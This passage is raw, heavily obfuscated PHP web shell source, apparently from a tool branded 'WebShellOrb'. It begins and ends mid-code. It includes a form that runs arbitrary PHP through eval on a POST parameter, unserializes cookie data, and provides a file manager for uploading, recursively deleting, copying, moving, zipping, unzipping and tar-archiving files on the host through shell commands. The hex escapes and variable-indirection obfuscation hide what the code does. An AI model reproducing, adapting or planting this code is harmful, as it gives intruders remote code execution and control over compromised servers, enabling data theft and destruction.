str_replace("";}echo"<\\x681\\x3eEx\\x65c\\x75\\x74\\x69o\\x6e\\x20PH\\x50-\\x63\\x6f\\x64\\x65\\x3c/h1\\x3e
\\x3c\\x66\\x6fr\\x6d \\x6e\\x61\\x6de=\\x70f \\x6det\\x68o\\x64\\x3dp\\x6fs\\x74 \\x6f\\x6e\\x73\\x75\\x62m\\x69\\x74=\\x22if(\\x74\\x68is\\x2e\\x61\\x6aax\\x2ec\\x68\\x65\\x63ke\\x64){a(\'Php\',\\x6e\\x75\\x6c\\x6c,\\x74his.c\\x6fde\\x2evalue);}\\x65\\x6c\\x73\\x65{g(\\x27P\\x68p\',\\x6e\\x75\\x6cl,\\x74\\x68is\\x2e\\x63o\\x64\\x65\\x2e\\x76\\x61\\x6c\\x75e,\'\\x27)\\x3b}re\\x74urn\\x20\\x66a\\x6cse\\x3b\\"\\x3e\\x3c\\x74\\x65xtare\\x61 na\\x6d\\x65\\x3dc\\x6fde clas\\x73\\x3d\\x62igare\\x61\\x20\\x69\\x64\\x3d\\x50\\x68p\\x43\\x6fd\\x65\\x3e".(!empty($_POST["\\x701"])?htmlspecialchars($_POST["p\\x31"]):"")."\\x3c/\\x74e\\x78\\x74ar\\x65\\x61><\\x69n\\x70\\x75t \\x74y\\x70\\x65=s\\x75\\x62mit\\x20val\\x75e=\\x45va\\x6c\\x20st\\x79l\\x65\\x3d\\"m\\x61r\\x67\\x69\\x6e-\\x74\\x6f\\x70:\\x35\\x70x\\">";echo"\\x20\\x3c\\x69\\x6e\\x70\\x75\\x74 t\\x79pe\\x3dc\\x68e\\x63\\x6b\\x62ox n\\x61me\\x3da\\x6aa\\x78 \\x76\\x61\\x6cu\\x65=1\\x20".($_COOKIE[md5($_SERVER["\\x48T\\x54\\x50_HO\\x53\\x54"])."\\x61\\x6aax"]?"checked":"")."\\x3e \\x73\\x65nd \\x75s\\x69\\x6e\\x67\\x20AJ\\x41\\x58\\x3c/\\x66\\x6frm\\x3e";if(!empty($_POST["\\x701"])){ob_start();eval($_POST["p1"]);echo htmlspecialchars(ob_get_clean());}echo"\\x3c/\\x70\\x72e\\x3e";WebShellOrbFooter();}function actionFilesMan(){if(!empty($_COOKIE["f"]))$_COOKIE["f"]=@unserialize($_COOKIE["f"]);${"\\x47L\\x4fBA\\x4cS"}["\\x7a\\x69pf\\x76\\x63"]="i";${"\\x47\\x4c\\x4f\\x42\\x41L\\x53"}["\\x75ybul\\x70\\x67d\\x79\\x66\\x65k"]="\\x64ir\\x43on\\x74e\\x6e\\x74";$nqwroep="\\x73\\x6f\\x72\\x74";if(!empty($_POST["p1"])){switch($_POST["p\\x31"]){case"\\x75p\\x6co\\x61\\x64\\x46i\\x6c\\x65":if(!@move_uploaded_file($_FILES["f"]["\\x74m\\x70_n\\x61me"],$_FILES["f"]["\\x6eam\\x65"]))echo"Ca\\x6e\'\\x74\\x20up\\x6coa\\x64!";break;case"\\x6d\\x6bd\\x69\\x72":if(!@mkdir($_POST["\\x702"]))echo"Ca\\x6e\\x27\\x74 cre\\x61\\x74e!";break;case"\\x64\\x65let\\x65":function deleteDir($path){${"\\x47L\\x4f\\x42\\x41\\x4cS"}["\\x74\\x79i\\x76\\x68\\x69\\x73d\\x66"]="dh";${"\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["\\x68\\x73\\x64\\x67\\x6a\\x6c\\x64\\x6f\\x69\\x76"]="pat\\x68";$nqtkcimv="\\x70\\x61\\x74h";${"\\x47L\\x4fB\\x41\\x4c\\x53"}["\\x71\\x65\\x61\\x73\\x63v\\x65\\x71\\x75r"]="\\x70ath";${${"\\x47\\x4c\\x4fBA\\x4cS"}["h\\x73\\x64g\\x6a\\x6cd\\x6f\\x69\\x76"]}=(substr(${${"\\x47LO\\x42\\x41LS"}["ff\\x73\\x77\\x6c\\x68a\\x62"]},-1)=="/")?${${"G\\x4c\\x4fB\\x41\\x4c\\x53"}["qeasc\\x76\\x65qu\\x72"]}:${$nqtkcimv}."/";${"\\x47\\x4cO\\x42A\\x4c\\x53"}["\\x6fn\\x67\\x67m\\x6a\\x6ae"]="\\x69te\\x6d";${${"\\x47\\x4c\\x4f\\x42AL\\x53"}["\\x74y\\x69vh\\x69\\x73\\x64\\x66"]}=opendir(${${"GL\\x4fB\\x41L\\x53"}["\\x66\\x66\\x73\\x77l\\x68\\x61b"]});while((${${"GL\\x4f\\x42\\x41\\x4c\\x53"}["o\\x6e\\x67g\\x6d\\x6a\\x6a\\x65"]}=readdir(${${"\\x47\\x4cO\\x42\\x41L\\x53"}["\\x71\\x75\\x62\\x77\\x6b\\x62"]}))!==false){${"\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["beu\\x66\\x6b\\x66v\\x72o\\x77\\x68"]="i\\x74e\\x6d";${"\\x47\\x4cO\\x42\\x41\\x4c\\x53"}["\\x79\\x73\\x6e\\x64\\x62\\x63\\x72"]="\\x69\\x74em";${"\\x47LOBALS"}["o\\x6e\\x6d\\x74\\x77\\x6fl"]="it\\x65\\x6d";$nnxvvisqys="typ\\x65";$rhijetcnxolz="i\\x74e\\x6d";$xnjcrutjrcsn="\\x70\\x61th";${${"GL\\x4f\\x42A\\x4c\\x53"}["\\x62\\x65\\x75\\x66kfv\\x72o\\x77\\x68"]}=${$xnjcrutjrcsn}.${${"\\x47LOB\\x41\\x4c\\x53"}["\\x6fn\\x6d\\x74\\x77\\x6fl"]};if((basename(${$rhijetcnxolz})==".\\x2e")||(basename(${${"\\x47\\x4cO\\x42\\x41\\x4cS"}["\\x62\\x64\\x6d\\x71\\x77qv\\x66\\x71\\x6e"]})=="\\x2e"))continue;${$nnxvvisqys}=filetype(${${"\\x47\\x4cOB\\x41L\\x53"}["y\\x73\\x6e\\x64\\x62cr"]});if(${${"\\x47\\x4c\\x4fB\\x41\\x4c\\x53"}["\\x76\\x78hdo\\x69\\x68q\\x6c\\x6bd"]}=="\\x64\\x69\\x72")deleteDir(${${"\\x47\\x4c\\x4fB\\x41\\x4c\\x53"}["\\x62\\x64\\x6d\\x71w\\x71\\x76\\x66q\\x6e"]});else@unlink(${${"\\x47\\x4cO\\x42\\x41\\x4c\\x53"}["\\x62\\x64m\\x71\\x77q\\x76fq\\x6e"]});}closedir(${${"\\x47\\x4cOBA\\x4cS"}["qu\\x62\\x77kb"]});@rmdir(${${"G\\x4cO\\x42\\x41LS"}["\\x66\\x66\\x73\\x77\\x6ch\\x61\\x62"]});}if(is_array(@$_POST["f"])){foreach($_POST["\\x66"]as${${"\\x47\\x4c\\x4fB\\x41\\x4c\\x53"}["\\x73be\\x72l\\x67"]}){$oqqgeuaw="f";${"\\x47LO\\x42\\x41L\\x53"}["q\\x76\\x79n\\x78\\x79e"]="\\x66";if(${${"GL\\x4fB\\x41L\\x53"}["\\x73berl\\x67"]}=="..")continue;${${"G\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["\\x71vy\\x6ex\\x79\\x65"]}=urldecode(${${"G\\x4cO\\x42\\x41\\x4c\\x53"}["sb\\x65\\x72\\x6cg"]});$knyiyrjbngh="f";if(is_dir(${$knyiyrjbngh}))deleteDir(${$oqqgeuaw});else@unlink(${${"\\x47\\x4c\\x4f\\x42AL\\x53"}["\\x73\\x62er\\x6cg"]});}}break;case"\\x70a\\x73\\x74\\x65":if($_COOKIE["\\x61ct"]=="\\x63\\x6fpy"){${"\\x47L\\x4f\\x42\\x41LS"}["c\\x6bz\\x6c\\x71vy\\x6exr"]="\\x66";function copy_paste($c,$s,$d){${"\\x47L\\x4f\\x42\\x41\\x4cS"}["fa\\x67\\x77\\x67\\x66\\x72\\x65"]="c";$hvvjqfgsnbl="s";${"\\x47L\\x4fBA\\x4c\\x53"}["\\x64\\x63\\x73\\x66\\x6bi"]="\\x73";$oswcoish="\\x64";$ckvihtigyzh="\\x73";if(is_dir(${${"G\\x4cO\\x42A\\x4c\\x53"}["\\x73\\x62\\x75ww\\x6boz\\x74"]}.${${"\\x47\\x4c\\x4f\\x42A\\x4c\\x53"}["dcs\\x66\\x6bi"]})){${"\\x47\\x4cO\\x42ALS"}["\\x76\\x70\\x6b\\x62w\\x79\\x74\\x79c"]="\\x64";$dezosh="\\x68";mkdir(${${"G\\x4cO\\x42\\x41\\x4c\\x53"}["\\x76\\x70k\\x62w\\x79\\x74y\\x63"]}.${${"G\\x4c\\x4fB\\x41\\x4c\\x53"}["\\x75o\\x70u\\x70g\\x79"]});$ciuvfitrhtj="\\x68";${$dezosh}=@opendir(${${"\\x47\\x4cO\\x42\\x41L\\x53"}["\\x73\\x62\\x75\\x77\\x77\\x6boz\\x74"]}.${${"\\x47\\x4c\\x4fB\\x41\\x4cS"}["uo\\x70\\x75\\x70\\x67\\x79"]});while((${${"\\x47L\\x4f\\x42A\\x4c\\x53"}["\\x73\\x62\\x65\\x72lg"]}=@readdir(${$ciuvfitrhtj}))!==false){$cplqlcligwi="\\x64";$ojvunulgmom="f";if((${${"\\x47L\\x4fB\\x41\\x4c\\x53"}["\\x73\\x62\\x65\\x72l\\x67"]}!="\\x2e")and(${$ojvunulgmom}!=".."))copy_paste(${${"\\x47\\x4c\\x4f\\x42AL\\x53"}["sb\\x75\\x77w\\x6b\\x6f\\x7a\\x74"]}.${${"GL\\x4f\\x42\\x41L\\x53"}["\\x75\\x6f\\x70\\x75p\\x67\\x79"]}."/",${${"\\x47\\x4c\\x4fB\\x41\\x4cS"}["s\\x62er\\x6c\\x67"]},${$cplqlcligwi}.${${"GLOB\\x41\\x4c\\x53"}["\\x75\\x6f\\x70u\\x70\\x67\\x79"]}."/");}}elseif(is_file(${${"\\x47\\x4c\\x4f\\x42\\x41L\\x53"}["fa\\x67w\\x67\\x66re"]}.${$ckvihtigyzh}))@copy(${${"G\\x4c\\x4fBA\\x4cS"}["\\x73\\x62u\\x77\\x77k\\x6f\\x7a\\x74"]}.${$hvvjqfgsnbl},${$oswcoish}.${${"\\x47LO\\x42\\x41L\\x53"}["\\x75o\\x70u\\x70g\\x79"]});}${"\\x47LO\\x42\\x41\\x4c\\x53"}["\\x69g\\x61\\x71g\\x6b"]="\\x66";foreach($_COOKIE["f"]as${${"\\x47\\x4cOB\\x41\\x4cS"}["\\x63\\x6b\\x7al\\x71\\x76\\x79\\x6ex\\x72"]})copy_paste($_COOKIE["c"],${${"\\x47L\\x4fBA\\x4cS"}["\\x69\\x67a\\x71\\x67\\x6b"]},$GLOBALS["\\x63w\\x64"]);}elseif($_COOKIE["\\x61ct"]=="\\x6dov\\x65"){$rhlfmvixur="f";function move_paste($c,$s,$d){$ahtgbwuonw="\\x73";$ckcnhxgr="\\x63";$qppskt="\\x73";if(is_dir(${${"\\x47LO\\x42\\x41\\x4c\\x53"}["\\x73\\x62\\x75\\x77w\\x6b\\x6f\\x7a\\x74"]}.${${"\\x47\\x4cOB\\x41L\\x53"}["\\x75op\\x75\\x70\\x67\\x79"]})){$pkkrsanx="f";${"\\x47L\\x4f\\x42\\x41\\x4cS"}["osj\\x66e\\x73f\\x61"]="s";${"\\x47LOB\\x41\\x4c\\x53"}["n\\x6fc\\x66\\x62\\x76\\x63\\x6f\\x68"]="s";$udkwdkzhbud="\\x63";mkdir(${${"\\x47\\x4c\\x4f\\x42\\x41\\x4cS"}["\\x73\\x6d\\x63\\x62\\x67\\x63\\x79\\x69"]}.${${"GL\\x4f\\x42\\x41\\x4cS"}["\\x6f\\x73\\x6a\\x66e\\x73\\x66a"]});$sutihmtajih="\\x68";${$sutihmtajih}=@opendir(${$udkwdkzhbud}.${${"G\\x4c\\x4f\\x42\\x41L\\x53"}["\\x6e\\x6f\\x63\\x66\\x62vc\\x6f\\x68"]});while((${$pkkrsanx}=@readdir(${${"\\x47L\\x4f\\x42\\x41\\x4cS"}["\\x61\\x69\\x68\\x78\\x74\\x67u\\x6a"]}))!==false){${"\\x47\\x4c\\x4f\\x42A\\x4cS"}["\\x63\\x6e\\x75\\x69ke\\x64\\x6f"]="s";if((${${"\\x47LO\\x42\\x41\\x4c\\x53"}["\\x73be\\x72l\\x67"]}!="\\x2e")and(${${"\\x47\\x4cOBA\\x4c\\x53"}["\\x73\\x62\\x65r\\x6cg"]}!=".\\x2e"))copy_paste(${${"G\\x4c\\x4f\\x42A\\x4cS"}["s\\x62\\x75w\\x77\\x6b\\x6fzt"]}.${${"\\x47\\x4cOB\\x41LS"}["\\x63\\x6eui\\x6b\\x65\\x64\\x6f"]}."/",${${"\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["\\x73\\x62\\x65r\\x6c\\x67"]},${${"\\x47\\x4cOBA\\x4cS"}["\\x73\\x6d\\x63bgcy\\x69"]}.${${"G\\x4c\\x4fB\\x41LS"}["\\x75\\x6f\\x70upg\\x79"]}."/");}}elseif(@is_file(${${"G\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["s\\x62\\x75w\\x77\\x6boz\\x74"]}.${${"\\x47L\\x4fB\\x41\\x4c\\x53"}["u\\x6f\\x70\\x75\\x70\\x67\\x79"]}))@copy(${$ckcnhxgr}.${$ahtgbwuonw},${${"\\x47LOBA\\x4c\\x53"}["\\x73\\x6d\\x63b\\x67c\\x79\\x69"]}.${$qppskt});}foreach($_COOKIE["f"]as${${"\\x47\\x4c\\x4f\\x42AL\\x53"}["\\x73\\x62\\x65\\x72l\\x67"]})@rename($_COOKIE["c"].${${"\\x47\\x4c\\x4f\\x42A\\x4c\\x53"}["s\\x62\\x65\\x72\\x6c\\x67"]},$GLOBALS["cwd"].${$rhlfmvixur});}elseif($_COOKIE["\\x61ct"]=="\\x7a\\x69\\x70"){if(class_exists("\\x5a\\x69p\\x41r\\x63\\x68\\x69\\x76e")){$xkzwkjkkkw="\\x7a\\x69\\x70";${$xkzwkjkkkw}=new ZipArchive();if($zip->open($_POST["p2"],1)){chdir($_COOKIE["c"]);$turyinpqob="f";foreach($_COOKIE["f"]as${$turyinpqob}){$dgpduipixc="\\x66";$ouqnccnwl="\\x66";if(${$dgpduipixc}==".\\x2e")continue;if(@is_file($_COOKIE["\\x63"].${${"\\x47\\x4c\\x4fBA\\x4c\\x53"}["\\x73b\\x65\\x72\\x6c\\x67"]}))$zip->addFile($_COOKIE["c"].${${"\\x47\\x4c\\x4fB\\x41L\\x53"}["\\x73\\x62\\x65\\x72l\\x67"]},${$ouqnccnwl});elseif(@is_dir($_COOKIE["\\x63"].${${"\\x47\\x4c\\x4f\\x42A\\x4c\\x53"}["\\x73\\x62\\x65\\x72l\\x67"]})){${"\\x47\\x4c\\x4f\\x42\\x41\\x4cS"}["\\x76\\x65\\x77\\x74\\x71\\x69"]="f";${"\\x47\\x4c\\x4fB\\x41\\x4c\\x53"}["\\x71\\x75\\x6e\\x79\\x61vcp"]="\\x6b\\x65\\x79";${"\\x47\\x4cO\\x42AL\\x53"}["\\x79\\x65\\x66\\x6c\\x66\\x73\\x77"]="v\\x61lu\\x65";$rimshoiye="\\x69\\x74\\x65r\\x61\\x74\\x6fr";${${"\\x47\\x4c\\x4f\\x42A\\x4c\\x53"}["\\x78q\\x6a\\x63\\x79j\\x66\\x66\\x69"]}=new RecursiveIteratorIterator(new RecursiveDirectoryIterator(${${"\\x47\\x4cO\\x42\\x41LS"}["v\\x65wt\\x71\\x69"]}."/",FilesystemIterator::SKIP_DOTS));foreach(${$rimshoiye} as${${"\\x47\\x4cO\\x42\\x41\\x4c\\x53"}["\\x71\\x75\\x6ey\\x61v\\x63\\x70"]}=>${${"\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["\\x79\\x65f\\x6c\\x66\\x73\\x77"]}){$smkpdcroxja="key";$zip->addFile(realpath(${${"\\x47L\\x4f\\x42\\x41\\x4c\\x53"}["\\x6fo\\x63w\\x61\\x62o"]}),${$smkpdcroxja});}}}chdir($GLOBALS["c\\x77d"]);$zip->close();}}}elseif($_COOKIE["\\x61\\x63\\x74"]=="\\x75nz\\x69\\x70"){if(class_exists("Z\\x69p\\x41\\x72\\x63\\x68ive")){${"\\x47LOBA\\x4c\\x53"}["\\x65\\x64\\x6bqvu"]="\\x7a\\x69\\x70";${${"\\x47L\\x4f\\x42\\x41LS"}["e\\x64\\x6bq\\x76\\x75"]}=new ZipArchive();foreach($_COOKIE["f"]as${${"\\x47\\x4c\\x4f\\x42\\x41LS"}["\\x73b\\x65\\x72\\x6c\\x67"]}){${"\\x47\\x4c\\x4f\\x42\\x41LS"}["\\x74\\x6fn\\x6e\\x6d\\x6d\\x68"]="\\x66";if($zip->open($_COOKIE["\\x63"].${${"\\x47LO\\x42A\\x4c\\x53"}["\\x74o\\x6en\\x6d\\x6d\\x68"]})){$zip->extractTo($GLOBALS["\\x63w\\x64"]);$zip->close();}}}}elseif($_COOKIE["ac\\x74"]=="tar"){chdir($_COOKIE["c"]);$_COOKIE["f"]=array_map("\\x65\\x73c\\x61\\x70\\x65s\\x68\\x65\\x6c\\x6c\\x61rg",$_COOKIE["f"]);WebShellOrbEx("\\x74a\\x72 c\\x66zv\\x20".escapeshellarg($_POST["p2"])."\\x20".implode(" ",$_COOKIE["\\x66"]));chdir($GLOBALS["cw\\x64"]);}unset($_COOKIE["\\x66"]);setcookie("f","",time()-3600);break;default:if(!empty($_POST["\\x70\\x31"])){WebShellOrbsetcookie("\\x61ct",$_POST["\\x70\\x31"]);WebShellOrbsetcookie("f",serialize(@$_POST["f"]));WebShellOrbsetcookie("\\x63",@$_POST["c"]);}break;}}${"GLOB\\x41\\x4cS"}["\\x71\\x76p\\x62\\x66\\x6cs"]="d\\x69\\x72\\x43onte\\x6e\\x74";$kmcbnuop="s\\x6f\\x72t";WebShellOrbHeader();echo"\\x3c\\x68\\x31\\x3eF\\x69l\\x65\\x20\\x6dana\\x67er<\\x64\\x69v\\x20cl\\x61s\\x73\\x3d\\x63onte\\x6e\\x74\\x3e\\x3cs\\x63\\x72i\\x70t\\x3e\\x70\\x31_=p\\x32_=\\x70\\x33\\x5f=\\"\\";";${${"\\x47\\x4cO\\x42\\x41L\\x53"}["q\\x76\\x70b\\x66ls"]}=WebShellOrbScandir(isset($_POST["c"])?$_POST["c"]:$GLOBALS["cwd"]);if(${${"\\x47L\\x4fBA\\x4cS"}["u\\x79\\x62\\x75\\x6c\\x70g\\x64\\x79\\x66e\\x6b"]}===false){echo"\\x43an\'t \\x6fpe\\x6e \\x74hi\\x73\\x20\\x66o\\x6c\\x64\\x65\\x72\\x21";WebShellOrbFooter();return;}${"G\\x4c\\x4fB\\x41L\\x53"}["\\x75rs\\x6cv\\x76\\x65v\\x63y\\x64"]="fi\\x6c\\x65\\x73";global$sort;${$kmcbnuop}=array("na\\x6d\\x65",1);${"GL\\x4fB\\x41\\x4c\\x53"}["\\x75c\\x66\\x6d\\x62r\\x65l\\x73m"]="\\x66\\x69\\x6ce\\x73";if(!empty($_POST["\\x701"])){${"G\\x4c\\x4fB\\x41\\x4c\\x53"}["\\x78\\x71n\\x78rg\\x67"]="ma\\x74\\x63\\x68";if(preg_match("!s_([A-\\x7a]+)_(\\x5cd{\\x31})!",$_POST["p1"],${${"\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["\\x78qn\\x78r\\x67\\x67"]}))${${"G\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["\\x77\\x78\\x66\\x6c\\x72\\x6bg\\x68\\x67"]}=array(${${"\\x47L\\x4f\\x42\\x41\\x4cS"}["\\x6b\\x68\\x74\\x6b\\x62\\x74\\x62\\x63\\x70"]}[1],(int)${${"\\x47\\x4c\\x4f\\x42\\x41L\\x53"}["\\x6b\\x68tkb\\x74bc\\x70"]}[2]);}echo"\\x3csc\\x72\\x69p\\x74\\x3e\\n\\t\\x66\\x75\\x6e\\x63\\x74i\\x6f\\x6e\\x20\\x73\\x61()\\x20{\\n\\t\\t\\x66\\x6fr(\\x69=0\\x3b\\x69\\x3c\\x64.fil\\x65s\\x2e\\x65l\\x65\\x6d\\x65nt\\x73\\x2e\\x6c\\x65ng\\x74\\x68\\x3bi++)\\n\\t\\t\\t\\x69\\x66(d\\x2ef\\x69\\x6c\\x65s\\x2ee\\x6ce\\x6de\\x6et\\x73[\\x69]\\x2e\\x74y\\x70e\\x20\\x3d\\x3d \'\\x63h\\x65\\x63kb\\x6fx\')\\n\\t\\t\\t\\t\\x64.f\\x69\\x6ces.e\\x6c\\x65\\x6dent\\x73[\\x69]\\x2e\\x63\\x68\\x65\\x63\\x6b\\x65\\x64\\x20\\x3d d.f\\x69l\\x65s\\x2e\\x65\\x6c\\x65\\x6dents[\\x30]\\x2e\\x63h\\x65\\x63\\x6bed;\\n\\t}\\n\\n\\x3cta\\x62\\x6c\\x65 \\x77i\\x64t\\x68=\'1\\x300\\x25\'\\x20\\x63\\x6ca\\x73\\x73=\'mai\\x6e\\x27\\x20\\x63e\\x6c\\x6csp\\x61c\\x69\\x6e\\x67=\\x270\\x27\\x20ce\\x6c\\x6cpa\\x64d\\x69\\x6e\\x67\\x3d\'2\'\\x3e\\n\\x3c\\x66\\x6f\\x72\\x6d nam\\x65\\x3d\\x66\\x69l\\x65\\x73\\x20met\\x68\\x6fd\\x3d\\x70o\\x73t\\x3e\\x3cth\\x20\\x77\\x69\\x64\\x74h\\x3d\\x27\\x313px\\x27\\x3e\\x3c/\\x74\\x68\\x3e\\x3cth\\x3e<\\x61 h\\x72e\\x66=\'#\' o\\x6eclic\\x6b\\x3d\\x27g(\\x22Fil\\x65\\x73\\x4dan\\",nul\\x6c,\\"\\x73\\x5fn\\x61\\x6d\\x65\\x5f".(${${"\\x47\\x4cO\\x42A\\x4cS"}["\\x77x\\x66\\x6c\\x72k\\x67h\\x67"]}[1]?0:1)."\\x22)\'>Na\\x6d\\x65S\\x69ze\\x3c/a\\x3e<\\x74\\x68>\\x3c/t\\x68\\x3e<\\x74\\x68\\x3eOw\\x6ee\\x72/G\\x72ou\\x70\\x3c/th>\\x3cth\\x3e\\x3ca\\x20\\x68ref\\x3d\'\\x23\'\\x20o\\x6e\\x63lic\\x6b\\x3d\\x27g(\\x22\\x46\\x69l\\x65s\\x4d\\x61n\\",n\\x75l\\x6c,\\"\\x73\\x5fpe\\x72m\\x73_".(${$nqwroep}[1]?0:1)."\\x22)\\x27>P\\x65\\x72\\x6d\\x69ssions\\x3c/tr\\x3e";${${"\\x47\\x4c\\x4f\\x42\\x41\\x4cS"}["\\x78\\x7a\\x6f\\x63qro\\x65s\\x74sp"]}=${${"\\x47\\x4c\\x4fB\\x41\\x4c\\x53"}["\\x75\\x63f\\x6d\\x62\\x72\\x65\\x6csm"]}=array();${"G\\x4cOB\\x41\\x4c\\x53"}["\\x70\\x77j\\x78\\x7a\\x67\\x74\\x65\\x73ey"]="n";${${"G\\x4c\\x4f\\x42AL\\x53"}["on\\x6d\\x64r\\x78"]}=count(${${"\\x47\\x4c\\x4f\\x42\\x41LS"}["\\x71\\x61nhu\\x6f"]});for(${${"GL\\x4f\\x42\\x41\\x4c\\x53"}["\\x63l\\x6b\\x75\\x79\\x6f\\x6a\\x6a"]}=0;${${"G\\x4c\\x4fBA\\x4cS"}["\\x63l\\x6b\\x75\\x79\\x6fjj"]}<${${"\\x47\\x4c\\x4fB\\x41L\\x53"}["\\x70wj\\x78\\x7a\\x67\\x74e\\x73\\x65\\x79"]};${${"\\x47\\x4c\\x4fB\\x41LS"}["\\x7ai\\x70\\x66\\x76c"]}++){${"\\x47\\x4c\\x4fB\\x41LS"}["p\\x64\\x61\\x76y\\x73t\\x62n\\x62"]="di\\x72Con\\x74en\\x74";$dccmvjub="t\\x6d\\x70";${"\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["\\x72\\x71\\x6da\\x66uv\\x72"]="\\x69";$igxyngssey="\\x74m\\x70";$olxfijt="\\x64ir\\x43onten\\x74";${"\\x47L\\x4fB\\x41\\x4c\\x53"}["\\x6d\\x6c\\x6f\\x75\\x67u"]="i";$xqzsqep="d\\x69\\x72C\\x6fn\\x74e\\x6e\\x74";${"\\x47\\x4cO\\x42\\x41\\x4c\\x53"}["p\\x68bvl\\x6c\\x68\\x65b\\x6d\\x6d\\x79"]="\\x69";${"GL\\x4f\\x42\\x41\\x4c\\x53"}["e\\x67\\x65vs\\x64\\x67\\x75y"]="i";$umpvgjutp="g\\x72";${"\\x47\\x4cOB\\x41\\x4c\\x53"}["j\\x6a\\x76k\\x76g\\x78\\x72\\x72g\\x72"]="\\x67r";${"\\x47\\x4cOB\\x41\\x4cS"}["k\\x79\\x6c\\x64\\x70p\\x67ou"]="d\\x69\\x72\\x43\\x6f\\x6e\\x74\\x65\\x6et";$dfpwsfgwzk="\\x69";${${"\\x47\\x4c\\x4fB\\x41\\x4c\\x53"}["\\x7a\\x70p\\x7a\\x63sfg\\x6f"]}=@posix_getpwuid(@fileowner(${$olxfijt}[${${"G\\x4c\\x4f\\x42A\\x4c\\x53"}["\\x63\\x6c\\x6b\\x75\\x79oj\\x6a"]}]));$kbjcjgsc="\\x69";${"G\\x4c\\x4f\\x42A\\x4c\\x53"}["\\x79\\x6fv\\x76\\x63\\x74\\x64\\x6b\\x78"]="\\x64irCo\\x6ete\\x6e\\x74";$kvhmbnzvd="\\x64\\x69\\x72C\\x6fnt\\x65n\\x74";${$umpvgjutp}=@posix_getgrgid(@filegroup(${${"GL\\x4fB\\x41\\x4c\\x53"}["\\x71\\x61\\x6eh\\x75o"]}[${${"\\x47\\x4c\\x4f\\x42\\x41\\x4cS"}["\\x70\\x68bv\\x6cl\\x68\\x65\\x62\\x6d\\x6dy"]}]));$fdkdqgpmwo="i";${"\\x47\\x4c\\x4f\\x42\\x41L\\x53"}["pr\\x72iunh"]="\\x6f\\x77";${${"\\x47\\x4c\\x4f\\x42ALS"}["\\x65cb\\x63\\x6di\\x79\\x62\\x75\\x65"]}=array("n\\x61\\x6de"=>${${"GL\\x4f\\x42\\x41LS"}["\\x6by\\x6c\\x64pp\\x67\\x6f\\x75"]}[${${"\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["c\\x6ck\\x75\\x79\\x6f\\x6a\\x6a"]}],"\\x70\\x61\\x74\\x68"=>$GLOBALS["\\x63wd"].${${"\\x47L\\x4f\\x42\\x41\\x4c\\x53"}["q\\x61\\x6e\\x68uo"]}[${${"GL\\x4f\\x42\\x41\\x4cS"}["c\\x6c\\x6bu\\x79\\x6fj\\x6a"]}],"m\\x6f\\x64\\x69\\x66y"=>date("Y-\\x6d-d\\x20\\x48:i:\\x73",@filemtime($GLOBALS["\\x63wd"].${${"G\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["\\x71\\x61n\\x68\\x75\\x6f"]}[${$kbjcjgsc}])),"perms"=>WebShellOrbPermsColor($GLOBALS["\\x63\\x77d"].${${"G\\x4c\\x4f\\x42A\\x4c\\x53"}["q\\x61n\\x68uo"]}[${${"\\x47\\x4cO\\x42A\\x4c\\x53"}["\\x63\\x6c\\x6b\\x75\\x79\\x6f\\x6a\\x6a"]}]),"s\\x69\\x7a\\x65"=>@filesize($GLOBALS["cw\\x64"].${$kvhmbnzvd}[${$dfpwsfgwzk}]),"\\x6f\\x77ne\\x72"=>${${"\\x47\\x4c\\x4f\\x42\\x41\\x4cS"}["\\x70\\x72\\x72\\x69\\x75\\x6e\\x68"]}["\\x6ea\\x6d\\x65"]?${${"\\x47\\x4c\\x4fB\\x41LS"}["\\x7a\\x70\\x70\\x7a\\x63sf\\x67o"]}["name"]:@fileowner(${${"\\x47LO\\x42\\x41\\x4c\\x53"}["\\x70\\x64\\x61\\x76\\x79\\x73\\x74b\\x6e\\x62"]}[${${"G\\x4c\\x4fB\\x41L\\x53"}["\\x63\\x6ck\\x75yoj\\x6a"]}]),"\\x67r\\x6fup"=>${${"\\x47L\\x4f\\x42\\x41\\x4c\\x53"}["\\x6ajv\\x6b\\x76\\x67x\\x72\\x72\\x67\\x72"]}["\\x6e\\x61me"]?${${"\\x47LO\\x42A\\x4cS"}["\\x70\\x75n\\x6eqn\\x73\\x77y"]}["\\x6eam\\x65"]:@filegroup(${$xqzsqep}[${${"\\x47\\x4c\\x4f\\x42ALS"}["ml\\x6f\\x75\\x67u"]}]));${"\\x47\\x4c\\x4fBA\\x4c\\x53"}["i\\x68\\x6cumw\\x6c\\x71n\\x68\\x70"]="\\x64\\x69\\x72\\x73";if(@is_file($GLOBALS["cw\\x64"].${${"GL\\x4fB\\x41LS"}["qa\\x6e\\x68uo"]}[${$fdkdqgpmwo}]))${${"\\x47LO\\x42\\x41\\x4cS"}["yl\\x75x\\x65\\x63\\x6c\\x6c"]}[]=array_merge(${$igxyngssey},array("t\\x79\\x70e"=>"\\x66\\x69\\x6c\\x65"));elseif(@is_link($GLOBALS["c\\x77\\x64"].${${"G\\x4cO\\x42\\x41L\\x53"}["\\x71\\x61\\x6e\\x68\\x75o"]}[${${"G\\x4cO\\x42AL\\x53"}["\\x72\\x71\\x6d\\x61fu\\x76\\x72"]}]))${${"\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["\\x78\\x7a\\x6fc\\x71r\\x6f\\x65\\x73\\x74sp"]}[]=array_merge(${${"\\x47L\\x4fB\\x41\\x4cS"}["e\\x63b\\x63m\\x69y\\x62ue"]},array("type"=>"li\\x6ek","l\\x69\\x6e\\x6b"=>readlink(${$dccmvjub}["\\x70ath"])));elseif(@is_dir($GLOBALS["\\x63\\x77d"].${${"G\\x4cOB\\x41L\\x53"}["\\x79\\x6f\\x76\\x76c\\x74dk\\x78"]}[${${"\\x47\\x4cOB\\x41L\\x53"}["\\x65ge\\x76\\x73\\x64\\x67\\x75\\x79"]}]))${${"\\x47\\x4cOB\\x41L\\x53"}["\\x69\\x68l\\x75\\x6d\\x77\\x6cq\\x6e\\x68p"]}[]=array_merge(${${"\\x47L\\x4fB\\x41\\x4c